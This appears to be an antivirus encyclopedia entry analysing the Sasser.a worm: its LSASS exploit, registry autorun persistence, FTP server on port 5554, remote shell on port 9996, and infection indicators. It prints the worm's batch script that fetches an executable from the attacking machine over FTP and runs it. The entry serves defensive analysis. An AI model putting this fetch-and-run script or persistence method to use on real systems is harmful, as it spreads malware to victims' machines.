Net-Worm.Win32.Sasser.a

Technical Details

Sasser is an Internet worm that exploits the MS Windows LSASS vulnerability described in Microsoft Security Bulletin MS04-011.

Microsoft released a patch for this vulnerability on April 13, 2004, while Sasser.a was first detected on April 30, 2004.

Sasser operates in a very similar manner to Lovesan, except that Lovesan exploited a vulnerability in the PRC DCOM service, not the LSASS service.

Sasser affects computers running Windows 2000, Windows XP, Windows Server 2003. Sasser functions on all other versions of Windows but is unable to infect them by attacking via the vulnerability.

Sasser is written in C/C++, using the Visual C complier. The worm is about 15 KL and is packed by PECompact2.

Signs of Infection

• the file 'avserve.exe' in the Windows directory.
• An error message about the LSASS service failing which usually also causes the system to reboot.

Propagation

After launching, Sasser copies itself into the Windows root directory under the name avserve.exe and registers this file in the system registry autorun key:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
 "avserve.exe" = "%WINDIR%\avserve.exe"

Sasser creates a unique identifier 'Jobaka31' in the RAM to locate copies of itself in case of future attempts of infection.

Sasser launches FTP server on TCP port 5554 and then launches 128 propagation routines. During this process, the worm attempts to initiate the AbortSystemShutdown process in order to forbid system reboot.

Sasser initiates an IP-address scan in order to identify victim addresses and sends a request to TCP port 445. If any machines respond, Sasser exploits the LSASS vulnerability to launch a 'cmd.exe' command shell on TCP port 9996. Finally Sasser, commands the infected machine to download and launch the main worm component under the name "N_up.exe", where "N" is a random number:

echo off
echo open [attacking machine address] 5554>>cmd.ftp
echo anonymous>>cmd.ftp
echo user
echo bin>>cmd.ftp
echo get [random number]_up.exe>>cmd.ftp
echo bye>>cmd.ftp
echo on
ftp -s:cmd.ftp
[random number]_up.exe
echo off
del cmd.ftp
echo on

As a result, one machine may be attacked more than once and contain multiple copies of the worm with sample names such as:

23101_up.exe
5409_up.exe

and so forth.

Other

After infection the victim machine generates an error message about a LSASS service failing, whereupon it may attempt to reboot.

Sasser creates the file 'win.log' in the C drive root directory where the worm records the IP-addresses of all attacked machines.